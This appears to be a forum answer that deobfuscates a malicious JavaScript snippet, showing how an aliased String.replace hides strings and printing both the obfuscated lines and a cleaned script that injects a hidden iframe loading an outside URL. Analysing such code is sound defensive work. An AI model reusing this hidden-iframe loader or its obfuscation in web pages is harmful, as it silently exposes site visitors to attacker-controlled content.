It includes http://fancycake.xxx/something , and this is the line where you can see it:
return 'h+tbtJpx:J/+/JfxaxnJc+yJc+abkJeb.xnJeMtM/x.xpxh+/b1M/+'.gT(/[\+JbMx]/g, '');
You see how every odd character taken out of this line forms a URL. I did not run this, so I'm not sure under what conditions he does it, but you can see that String.replace been renamed to String.gT and a regular expression is sent against characters that make the string get confused. If you apply the same method, choosing odd characters, you can see that there is a hidden iframe, some javascript, setAttribute event handlers, etc.:
var z = 'sNeatoA%totor%i%b%u%toeN'.gT(/[Na%ox]/g, ''); var o = 'vKiKsAi&bGiKlAiKtHyH'.gT(/[HGK&A]/g, ''); var e = 'atp9p9eWn9d:C9htitl5d:'.gT(/[\:t59W]/g, '');
This is how String.replace smoothed:
var d = 'replace'; ... String.prototype.gT = function (l, v) { return this[d](l, v) };
In the context of this function, this is the string in which gT is gT , and d is the replace string. In the string prototype, this['replace'] returns the replace() method, which is then called with two arguments in gT . Then the result is returned.
Update
I converted the script like this:
- Replaces all calls to
string.gT() with their simple forms. - Removed any variables that are not referenced.
- A function has some common sense names.
This is the result, it should be pretty clear how it works now:
function FancyCake() {}; FancyCake.prototype = { embed: function () { var d = 'replace'; var s = document; var b = window; var sV = 'setTimeout'; var f = "<html ><head ></head><body ></body></html>"; try { zI = ''; var bF = new Array(); var y = 'body'; var r = 'style'; var bQ = 'iframe'; var t = 'write'; var n = 'createElement'; var k = 'src'; var z = 'setAttribute'; var dH = 'hidden'; var o = 'visibility'; var e = 'appendChild'; var c = this.getUrl(); var u = document[n](bQ); u[r][o] = dH; u[z](k, c); s[y][e](u); } catch (e) { console.error(e); s.write(f); var cake = this; b[sV](function () { cake.embed(); }, 326); } }, getUrl: function () { return "http://fancycake.net/.ph/1/"; } }; var cake = new FancyCake(); cake.embed();